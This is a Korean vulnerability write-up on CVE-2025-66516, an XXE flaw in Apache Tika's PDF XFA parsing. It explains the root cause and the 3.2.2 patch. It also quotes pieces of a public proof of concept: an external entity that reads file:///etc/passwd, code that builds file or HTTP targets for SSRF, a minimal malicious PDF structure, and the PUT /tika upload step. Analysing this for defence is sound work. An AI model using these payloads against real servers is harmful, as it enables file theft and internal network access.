[하루한줄] CVE-2025-66516: Apache Tika의 XFA 처리 과정에서 발생하는 XXE 기반 파일 유출 및 SSRF 취약점
URL
Target
Apache Tika
- tika-core 1.13 ~ 3.2.1
- tika-parser-pdf-module 2.0.0 ~ 3.2.1
- tika-parsers 1.13 ~ 1.28.5
Explain
background
Apache Tika는 업로드된 문서(PDF, Office 등)를 텍스트/메타데이터 추출 용도로 파싱하는 라이브러리/서버입니다. 이 중 PDF에는 XFA(XML Forms Architecture) 라는 XML 기반 폼 데이터가 포함될 수 있고, Tika는 이를 추출/파싱하는 과정에서 StAX(XMLInputFactory) 기반 XML 파서를 사용합니다.
취약점은 XFA 내부 XML을 처리할 때 외부 엔티티(XXE)가 제대로 차단되지 않으면, 문서 파싱 과정에서 다음이 가능해집니다.
- 서버 로컬 파일 읽기 (file://)
- 내부/외부로 HTTP 요청 유발 (SSRF)
- SSRF/정보유출을 발판으로 추가 취약점 chaining
root cause
핵심 원인은 tika-core 내부에서 XFA XML 파서를 만들 때, 외부 엔티티를 차단하는 구현/설정이 불완전했던 점입니다.
취약 버전은 tika-core의 XMLReaderUtils.getXMLInputFactory()에서 대략 아래처럼 팩토리를 만들고, 외부 엔티티 무시 목적의 resolver를 세팅합니다.
publicstatic XMLInputFactorygetXMLInputFactory() {
XMLInputFactoryfactory= XMLInputFactory.newFactory();
tryToSetStaxProperty(factory, XMLInputFactory.IS_NAMESPACE_AWARE,true);
tryToSetStaxProperty(factory, XMLInputFactory.IS_VALIDATING,false);
factory.setXMLResolver(IGNORING_STAX_ENTITY_RESOLVER);// <-- 의도는 차단
return factory;
}
그런데 여기서 사용된 IGNORING_STAX_ENTITY_RESOLVER가 원래 기대되는 반환 타입(InputStream 계열)이 아니라 String을 반환하는 형태였고, JDK 기본 StAX 구현체는 이 타입 불일치를 조용히 무시한 뒤 기본 동작으로 fallback 해버립니다.
즉, 아래처럼 XFA 안에 외부 엔티티가 들어가 있으면
<!DOCTYPE xdp:xdp [
<!ENTITY xxeSYSTEM"file:///etc/passwd">
]>
resolver가 제대로 막아주지 못한 환경에서는 파서가 외부 엔티티를 그대로 해석하면서 로컬 파일 읽기(file://) 또는 HTTP 요청(SSRF) 이 발생할 수 있습니다.
parser implementation 차이에 따른 영향
- tika-server-standard.jar: Woodstox(StAX 구현체)가 함께 번들되는 구성이라, resolver 처리 쪽에서 결과적으로 외부 엔티티가 막히는 케이스가 많아 영향이 낮거나 재현이 안 될 수 있습니다.
- 임베디드 사용(tika-core + parser 모듈): 클래스패스/런타임 구성에 따라 JDK 기본 StAX 로 동작하면, 위 타입 불일치 무시 → fallback이 발생하면서 취약해질 수 있습니다.
PoC
공개 PoC(https://github.com/chasingimpact/CVE-2025-66516-Writeup-POC/blob/main/poc/exploit.py)의 핵심은 XFA가 포함된 최소 구조의 PDF를 만들고, 그 안에서 XXE가 실제 추출 경로를 타도록 구성하는 것입니다.
XFA 내부에 XXE 엔티티 주입
PoC는 먼저 XFA XML에 외부 엔티티를 정의합니다.
if target.startswith("http://")or target.startswith("https://"):
entity_uri = target
else:
entity_uri =f"file://{target}"
이 값은 XFA XML의 <!ENTITY … SYSTEM “…">로 선언되며, 아래처럼 실제 출력되는 필드 위치에서 참조됩니다.
<!DOCTYPE xdp:xdp [
<!ENTITY xxeSYSTEM"file:///etc/passwd">
]>
...
<text>&xxe;</text>
...
<data>&xxe;</data>
거기에 복잡한 PDF 기능은 쓰지 않고, AcroForm + XFA Stream만 포함한 최소 구조를 사용하여 XFA XML을 하나의 스트림 객체로 삽입합니다.
/AcroForm 5 0 R
5 0 obj ... /XFA 6 0 R ...
6 0 obj ... stream (XFA XML)
이 구조만으로 Tika는 XFA가 포함된 PDF로 인식하고 XFA XML 파싱 경로에 진입합니다.
/tika엔드포인트로 PDF 업로드 및 데이터 유출
생성된 PDF는 Tika Server의 REST 인터페이스에 전송됩니다.
PUT /tika
Content-Type: application/pdf
Tika의 응답에는 XFA 폼 필드가 HTML/XML 형태로 포함되고, PoC는 그 중 data 필드에 출력된 값을 정규식으로 추출합니다.
fieldName="data">data: ...
XXE가 성공했다면, 이 위치에 /etc/passwd 내용이나 SSRF 응답이 그대로 노출됩니다.
patch
Tika 3.2.2에서는 resolver로 우회 차단에 기대지 않고, factory 레벨에서 DTD/외부 엔티티 기능을 명시적으로 꺼버리는 방향으로 패치되었습니다.
핵심 변경점은 아래 2가지입니다.
DTD 지원 비활성화
tryToSetStaxProperty(factory, XMLInputFactory.SUPPORT_DTD,false);
외부 엔티티 해석 비활성화
tryToSetStaxProperty(factory, XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES,false);
그리고 부가적으로, 기존 IGNORING_STAX_ENTITY_RESOLVER도 정상적인 반환 타입(InputStream 계열)을 반환하도록 수정되어 JDK 기본 StAX가 무시하고 fallback하는 흐름을 더 이상 타지 않게 됩니다.
Reference
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.